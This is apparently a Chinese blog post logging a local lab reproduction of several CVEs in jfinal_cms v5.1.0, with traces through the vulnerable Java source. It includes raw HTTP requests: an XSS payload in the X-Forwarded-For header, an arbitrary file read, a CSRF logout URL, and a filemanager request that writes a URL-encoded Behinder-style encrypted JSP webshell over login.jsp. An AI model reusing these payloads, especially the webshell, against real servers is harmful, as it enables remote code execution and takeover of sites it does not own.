jfinal_cms-v5.1.0

CVE-2022-29648

通过伪造的 X-Forwarded-For 请求头注入脚本。

他说到这个,我只能想到是这里来触发的。

代码

java 复制代码
public void index() {
		SysUser user = (SysUser) getSessionUser();
		if (user == null) {
			redirect(CommonController.firstPage);
			return;
		}
		setAttr("nowUser", user);

		
		// 最新文件
		Page<TbArticle> articlePage = TbArticle.dao.paginate(new Paginator(1, 10), "select t.*,f.name as folderName " //
				, " from tb_article t left join tb_folder f on f.id = t.folder_id " //
						+ " where t.status = 1 and t.type in (11,12) " // 查询状态为显示,类型是预览和正常的文章
						+ "  and f.site_id="+getBackSite().getId()
						+ " order by t.update_time desc,t.id desc");
		setAttr("articles", articlePage.getList());

		// 最新评论
		Page<TbComment> commentPage = TbComment.dao.paginate(new Paginator(1, 10), "select t.*,a.title articleName ", //
				" from tb_comment t " //
						+ " left join tb_article a on a.id = t.article_id where 1=1 order by t.id desc  ");
		setAttr("comments", commentPage.getList());

		// 最新用户
		Page<SysUser> userPage = SysUser.dao.paginate(new Paginator(1, 10), "select t.*,d.name as departname ", //
				" from sys_user t left join sys_department d on d.id = t.departid " //
						+ " where 1 = 1 and userid != 1 order by userid desc ");
		setAttr("users", userPage.getList());

		
//最新访问用户
//这里,
		Page<TbPageView> pageViewPage = TbPageView.dao.paginate(new Paginator(1, 10), "select t.*", //
				" from tb_pageview t order by id desc ");
		setAttr("pageViews", pageViewPage.getList());
		
		
		render(path + "home.html");
	}
}
java 复制代码
GET /jfinal_cms/ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Forwarded-For:11111111111111111111111111111111111
Cookie: JSESSIONID=6DFE67476CC97C638D80C87C93B29F4E; Hm_lvt_1040d081eea13b44d84a4af639640d51=1774610423,1774928205,1775025367,1775195452; session_user="VrhFVJS2SgewvZrFcwCawA=="; Hm_lpvt_1040d081eea13b44d84a4af639640d51=1775207566; HMACCOUNT=A2CF3FA6A7F759C5
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i

果然跟我直觉差不多可惜我找不着代码。

java 复制代码
GET /jfinal_cms/ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Forwarded-For:<script>alert('XSS æÑŸ')</script>
Cookie: JSESSIONID=6DFE67476CC97C638D80C87C93B29F4E; Hm_lvt_1040d081eea13b44d84a4af639640d51=1774610423,1774928205,1775025367,1775195452; session_user="VrhFVJS2SgewvZrFcwCawA=="; Hm_lpvt_1040d081eea13b44d84a4af639640d51=1775207566; HMACCOUNT=A2CF3FA6A7F759C5
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i

CVE-2023-47503

位于 login.jsp 的模板管理模块导致的RCE漏洞。

是直接用管理员权限改Jsp的代码来造成RCE的

java 复制代码
<%@ page language="java" pageEncoding="UTF-8"%>

<% 
response.sendRedirect("login");
%>

由于他前端不让我直接编辑,于是只能改包

java 复制代码
POST /jfinal_cms/admin/filemanager?config=filemanager.config.js HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 777
Origin: http://localhost:8080
Connection: keep-alive
Referer: http://localhost:8080/jfinal_cms/admin/filemanager/list
Cookie: JSESSIONID=98854D45F247A3BC40502F847710A50F; Hm_lvt_1040d081eea13b44d84a4af639640d51=1774610423,1774928205,1775025367,1775195452; session_user="VrhFVJS2SgewvZrFcwCawA=="
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

content=%3C%25%40page+import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22+%25%3E%0D%0A%3C%25!%0D%0A++++class+U+extends+ClassLoader+%7B%0D%0A++++++++U(ClassLoader+c)+%7B+super(c)%3B+%7D%0D%0A++++++++public+Class+g(byte%5B%5D+b)+%7B+return+super.defineClass(b%2C+0%2C+b.length)%3B+%7D%0D%0A++++%7D%0D%0A%25%3E%0D%0A%3C%25%0D%0A++++String+k+%3D+%22e45e329feb5d925b%22%3B%0D%0A++++session.putValue(%22u%22%2C+k)%3B%0D%0A++++Cipher+c+%3D+Cipher.getInstance(%22AES%22)%3B%0D%0A++++c.init(2%2C+new+SecretKeySpec(k.getBytes()%2C+%22AES%22))%3B%0D%0A++++new+U(this.getClass().getClassLoader()).g(c.doFinal(new+sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%0D%0A%25%3E&mode=savefile&path=%2Fjfinal_cms%2Flogin.jsp

修改成功

确认项目类型:Spring Boot 还是传统 War 包?

这是问题的核心,也是你之前"别人怎么连上的"这个疑问的根源。

· 如果是 Spring Boot 项目:默认不支持 JSP。必须在 pom.xml 中添加特定依赖,并配置 application.properties。在这种情况下,冰蝎的 JSP 马很可能无法正常工作。

· 如果是传统 War 包项目:通常可以直接访问 JSP。

由于我这是打包的,所以不行,能改就证明可以了。

java 复制代码
public void index() {
		HttpServletRequest request = getRequest();

		try {
			request.setCharacterEncoding("UTF-8");
			getResponse().setCharacterEncoding("UTF-8");
		} catch (UnsupportedEncodingException e) {
			e.printStackTrace();
		}

		FileManager fm = new FileManager(getRequest());

		JSONObject responseData = null;

		String mode = "";
		String path = "";
		boolean needPath = false;
		boolean putTextarea = false;
		if (!auth()) {
			fm.error(fm.lang("AUTHORIZATION_REQUIRED"));
		} else {
           //获取path
			String contextPath = request.getContextPath();
			// 设置contextPath
			fm.setGetVar("contextPath", contextPath);
//获取
			mode = request.getParameter("mode");
			path = request.getParameter("path");
//path != null
			if (path != null) {
				try {
//看请求
					if (request.getMethod().equals("GET"))
						path = new String(path.getBytes("ISO8859-1"), "UTF-8");
				} catch (UnsupportedEncodingException e) {
					e.printStackTrace();
				}
//检查path是否为空?
				needPath = fm.setGetVar("path", path);
			}


			if (request.getMethod().equals("GET")) {
				if (mode != null && mode != "") {
					if (mode.equals("getinfo")) {
						if (needPath) {
							responseData = fm.getInfo();
						}
					} else if (mode.equals("getfolder")) {
						if (needPath) {
							responseData = fm.getFolder();
						}
					} else if (mode.equals("rename")) {
						String oldFile = request.getParameter("old");
						String newFile = request.getParameter("new");
						try {
							oldFile = new String(oldFile.getBytes("ISO8859-1"), "UTF-8");
							newFile = new String(newFile.getBytes("ISO8859-1"), "UTF-8");
						} catch (UnsupportedEncodingException e) {
							e.printStackTrace();
						}

						if (fm.setGetVar("old", oldFile) && fm.setGetVar("new", newFile)) {
							responseData = fm.rename();
						}
					} else if (mode.equals("delete")) {
						if (needPath) {
							responseData = fm.delete();
						}
					} else if (mode.equals("addfolder")) {
						String name = request.getParameter("name");
						try {
							name = new String(name.getBytes("ISO8859-1"), "UTF-8");
						} catch (UnsupportedEncodingException e) {
							e.printStackTrace();
						}

						if (needPath && fm.setGetVar("name", name)) {
							responseData = fm.addFolder();
						}
					} else if (mode.equals("download")) {
						if (needPath) {
							fm.download(getResponse());
						}
					} else if (mode.equals("preview")) {
						if (needPath) {
							fm.preview(getResponse());
						}
					} else if (mode.equals("editfile")) {
						if (needPath) {
							responseData = fm.editFile();
						}
					} else {
						fm.error(fm.lang("MODE_ERROR"));
					}
				}
			} else if (request.getMethod().equals("POST")) {

				if (mode == null) {
					mode = "upload";
					responseData = fm.add();
					putTextarea = true;
				} else if (mode.equals("savefile")) {
					if (needPath && fm.setGetContent("content", request.getParameter("content"))) {

//返回响应,保存
						responseData = fm.saveFile();
					}
				}

			}
		}
		if (responseData == null) {
//报错
			responseData = fm.getError();
		}
		if (responseData != null) {
//展示,看mode
			String responseStr = responseData.toString();
			if (putTextarea)
				responseStr = "<textarea>" + responseStr + "</textarea>";
			log.info("mode:" + mode + ",response:" + responseStr);
			renderText(responseStr);
		} else {
			renderNull();
		}

	}
java 复制代码
public JSONObject saveFile() {
        JSONObject array = new JSONObject();

        try {
//文件内容
            String content = this.get.get("content");
//
            content = FileManagerUtils.decodeContent(content);

            //不严格判断
            bakupFile(new File(getRealFilePath()));
//写入
            FileManagerUtils.writeString(getRealFilePath(), content);
//返回包
            array.put("Path", this.get.get("path"));
            array.put("Error", "");
            array.put("Code", 0);

        } catch (JSONException e) {
            logger.error("JSONObject error", e);
            this.error("JSONObject error");
        } catch (IOException e) {
            logger.error("IOException error", e);
            this.error("IOException error");
        }
//返回array,json
        return array;
    }
java 复制代码
protected String getRealFilePath() {
//拼接
        String path = this.fileRoot + getFilePath();
//无过滤
        return FileManagerUtils.rebulid(path);
    }
java 复制代码
public static String decodeContent(String content) {
//replaceAll 是一种用于‌字符串中全局替换‌所有匹配子串的常用方法,广泛应用于多种编程语言(如 Java、JavaScript、R、Go 等)。
//转义
		content = content.replaceAll("&lt;/textarea", "</textarea");
//返回
		return content;
	}
java 复制代码
 protected void bakupFile(File src) throws IOException {
        if (!BAKUP_FLAG) {
            return;
        }

        String targetPath = FileManagerUtils.rebulid(src.getPath());
        String rootPath = FileManagerUtils.rebulid(this.fileRoot);
//startsWith() 是一种用于判断字符串是否以指定子串开头的常用方法,广泛应用于多种编程语言中。以下是主流语言中的实现方式和关键特性
//检查是不是真实路径,是不是rootPath开头
        if (!targetPath.startsWith(rootPath)) {
            logger.warn("bakup dir error:" + src.getPath());
            return;
        }
java 复制代码
//字符转
public static String rebulid(String currentPath) {
		String filePath = currentPath;
		filePath = filePath.replaceAll("\\\\", "\\/");
		filePath = filePath.replaceAll("//", "/");
		return filePath;
	}

键值存储

java 复制代码
//path path 值
public boolean setGetVar(String var, String value) {
//
        boolean retval = false;
        if (value == null || value == "") {
            this.error(sprintf(lang("INVALID_VAR"), var));
        } else {
//放入
            this.get.put(var, sanitize(value));
            retval = true;
        }
//返回
        return retval;
    }

CVE-2023-30349(现在无法复现)

位于 ActionEnter 函数的RCE漏洞

可以触发。

java 复制代码
@ControllerBind(controllerKey = "ueditor")
public class Ueditor extends BaseProjectController {

	public void index() {
//返回加密,失败的路径
		String out = new ActionEnter(getRequest(), PathKit.getWebRootPath()).exec();

// 获取人物
		TbSite site = getSessionSite().getModel();
		int userid = getSessionUser() == null ? 0 : getSessionUser().getUserid();
// 上传类型
		String actionType = getPara("action");
		int actionCode = ActionMap.getType(actionType);
		String contextPath = getRequest().getContextPath();
// 文件处理
		String handlerOut = new UeditorService().uploadHandle(actionCode, out, contextPath, site, userid);

		renderText(handlerOut);
	}
}

按照经验,exec看着就是命令执行一类的,所以先看一下他的代码。

java 复制代码
public String exec () {
		//猜测获取callback
		String callbackName = this.request.getParameter("callback");
		
		if ( callbackName != null ) {

			if ( !validCallbackName( callbackName ) ) {
//返回json
				return new BaseState( false, AppInfo.ILLEGAL ).toJSONString();
			}
//这里
			return callbackName+"("+this.invoke()+");";
			
		} else {
			return this.invoke();
		}

	}
java 复制代码
public String invoke() {
		
		if ( actionType == null || !ActionMap.mapping.containsKey( actionType ) ) {
			return new BaseState( false, AppInfo.INVALID_ACTION ).toJSONString();
		}
		
		if ( this.configManager == null || !this.configManager.valid() ) {
			return new BaseState( false, AppInfo.CONFIG_ERROR ).toJSONString();
		}
		
		State state = null;
		
		int actionCode = ActionMap.getType( this.actionType );
		
		Map<String, Object> conf = null;
		
		switch ( actionCode ) {
		
			case ActionMap.CONFIG:
				return this.configManager.getAllConfig().toString();
				
			case ActionMap.UPLOAD_IMAGE:
			case ActionMap.UPLOAD_SCRAWL:
			case ActionMap.UPLOAD_VIDEO:
			case ActionMap.UPLOAD_FILE:
				conf = this.configManager.getConfig( actionCode );
				state = new Uploader( request, conf ).doExec();
				break;
				
			case ActionMap.CATCH_IMAGE:
				conf = configManager.getConfig( actionCode );
				String[] list = this.request.getParameterValues( (String)conf.get( "fieldName" ) );
				state = new ImageHunter( conf ).capture( list );
				break;
				
			case ActionMap.LIST_IMAGE:
			case ActionMap.LIST_FILE:
				conf = configManager.getConfig( actionCode );
				int start = this.getStartIndex();
				state = new FileManager( conf ).listFile( start );
				break;
				
		}
		
		return state.toJSONString();
		
	}

由于页面丢失,我无法复现,我无法不看数据包,不看上下文,不看调试就看懂这个代码写的什么。不过应该是猜对了一半。

还是看以后吧。

CVE-2023-34645

任意文件读取漏洞

这个我都不想看了,一猜就是路径限制不完整,导致任意文件读取,然后最后渲染出来。

java 复制代码
GET /jfinal_cms/admin/filemanager?mode=editfile&path=%2Fjfinal_cms%2Fbakup%2Fyh.txt&config=filemanager.config.js&time=822 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://localhost:8080/jfinal_cms/admin/filemanager/list
Cookie: JSESSIONID=5138D8C3A1314192701ED010439A14BE; Hm_lvt_1040d081eea13b44d84a4af639640d51=1774610423,1774928205,1775025367,1775195452; session_user="VrhFVJS2SgewvZrFcwCawA=="
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
java 复制代码
FileManager fm = new FileManager(getRequest());

		JSONObject responseData = null;

		String mode = "";
		String path = "";
		boolean needPath = false;
		boolean putTextarea = false;
		if (!auth()) {
			fm.error(fm.lang("AUTHORIZATION_REQUIRED"));
		} else {
//获取path(前端)
			String contextPath = request.getContextPath();
			// 设置contextPath
			fm.setGetVar("contextPath", contextPath);

			mode = request.getParameter("mode");
			path = request.getParameter("path");

			if (path != null) {
				try {
					if (request.getMethod().equals("GET"))
						path = new String(path.getBytes("ISO8859-1"), "UTF-8");
				} catch (UnsupportedEncodingException e) {
					e.printStackTrace();
				}
//检查是否为空
				needPath = fm.setGetVar("path", path);
			}

else if (mode.equals("editfile")) {
						if (needPath) {
//读取
							responseData = fm.editFile();
						}
					} else {
						fm.error(fm.lang("MODE_ERROR"));
					}
java 复制代码
//path path 值
public boolean setGetVar(String var, String value) {
//
        boolean retval = false;
        if (value == null || value == "") {
            this.error(sprintf(lang("INVALID_VAR"), var));
        } else {
//放入
            this.get.put(var, sanitize(value));
            retval = true;
        }
//返回
        return retval;
    }
java 复制代码
public JSONObject editFile() {
        JSONObject array = new JSONObject();

        // 读取文件信息
        try {
//获取文件路径,读取
            String content = FileManagerUtils.readString(getRealFilePath());
//标签转义
            content = FileManagerUtils.encodeContent(content);

            array.put("Path", this.get.get("path"));
            array.put("Content", content);
            array.put("Error", "");
            array.put("Code", 0);
        } catch (JSONException e) {
            this.error("JSONObject error");
        } catch (IOException e) {
            e.printStackTrace();
        }
//返回数组
        return array;
    }
java 复制代码
protected String getRealFilePath() {
//拼接,getFilePath()可控,仅仅判断开头
        String path = this.fileRoot + getFilePath();
        return FileManagerUtils.rebulid(path);
    }
java 复制代码
public static String rebulid(String currentPath) {
		String filePath = currentPath;
		filePath = filePath.replaceAll("\\\\", "\\/");
		filePath = filePath.replaceAll("//", "/");
		return filePath;
	}
java 复制代码
protected String getFilePath() {
        String path = this.get.get("path");
        return getFilePath(path);
    }
java 复制代码
protected String getFilePath(String path) {
        String contextPath = this.get.get("contextPath");
        // 根目录
        if (StrUtils.isEmpty(contextPath)) {
            return path;
        }

        if (path.startsWith(contextPath)) {
//startsWith() 是一种用于判断字符串是否以指定子串开头的常用方法,广泛应用于多种编程语言中。以下是主流语言中的实现方式和关键特性
            path = path.replaceFirst(contextPath, "");
        }
        return path;
    }

CVE-2024-8694(这些我都没找到入口)

位于 /admin/template/update 的路径遍历漏洞。

CVE-2024-8706(这些我都没找到入口)

位于 /admin/template/update 的路径遍历漏洞。

CVE-2023-49375(这些我都没找到入口)

位于 /admin/friend_link/update

CVE-2023-49376(这些我都没找到入口)

位于 /admin/tag/delete

CVE-2023-49377(这些我都没找到入口)

位于 /admin/tag/update 的CSRF漏洞

CVE-2023-49379(这些我都没找到入口)

CSRF漏洞。

CVE-2023-49447(这些我都没找到入口)

位于 /admin/nav/update 的CSRF漏洞。

CVE-2025-6105

位于 HOME.java 的 Logout 参数存在CSRF漏洞。

复制代码
public void logout() {
//删除Session
		removeSessionUser();
//重定向首页
		redirect(CommonController.firstPage);
	}
public static final String firstPage = "/home"

http://localhost:8080/jfinal_cms/front/logout

自动退出登录

CVE-2021-40639(无法复现)

通过 /classes/conf/db.properties 访问敏感信息

无法复现

CVE-2021-37262(复现失败)

正则表达式注入,可能导致拒绝服务。

java 复制代码
protected String getFilePath(String path) {
        String contextPath = this.get.get("contextPath");
        // 根目录
        if (StrUtils.isEmpty(contextPath)) {
            return path;
        }
//转化

        if (path.startsWith(contextPath)) {
//确认首目录,替换
            path = path.replaceFirst(contextPath, "");
        }
        return path;
    }
java 复制代码
public String replaceFirst(String regex, String replacement) {
        return Pattern.compile(regex).matcher(this).replaceFirst(replacement);
    }
java 复制代码
 public static Pattern compile(String regex) {
        return new Pattern(regex, 0);
    }

CVE-2024-57665(无法复现)

位于 Content.java 的 title 参数存在SQL注入漏洞。

没找到

相关推荐
m0_612535991 小时前
redis入门到精通
数据库·redis·缓存
Kethy__2 小时前
计算机中级-数据库系统工程师-数据结构-树与二叉树(2)
数据结构·数据库·软考··计算机中级
gjc5922 小时前
零基础OceanBase数据库入门(2):查看集群基本信息
数据库·oceanbase
boonya2 小时前
Embedding模型与向量维度动态切换完整方案
java·数据库·embedding·动态切换大模型
运维行者_2 小时前
使用 Applications Manager 实现 AWS 云监控:保障业务应用高效运行
大数据·运维·服务器·网络·数据库·云计算·aws
lifewange2 小时前
postman接口自动化如何进行参数化
数据库·自动化·postman
刘~浪地球2 小时前
Redis 从入门到精通(三):键操作命令详解
数据库·redis·缓存
高梦轩3 小时前
MySQL 故障排查与优化
数据库·mysql
吴声子夜歌3 小时前
Node.js——操作MySQL数据库
数据库·mysql·node.js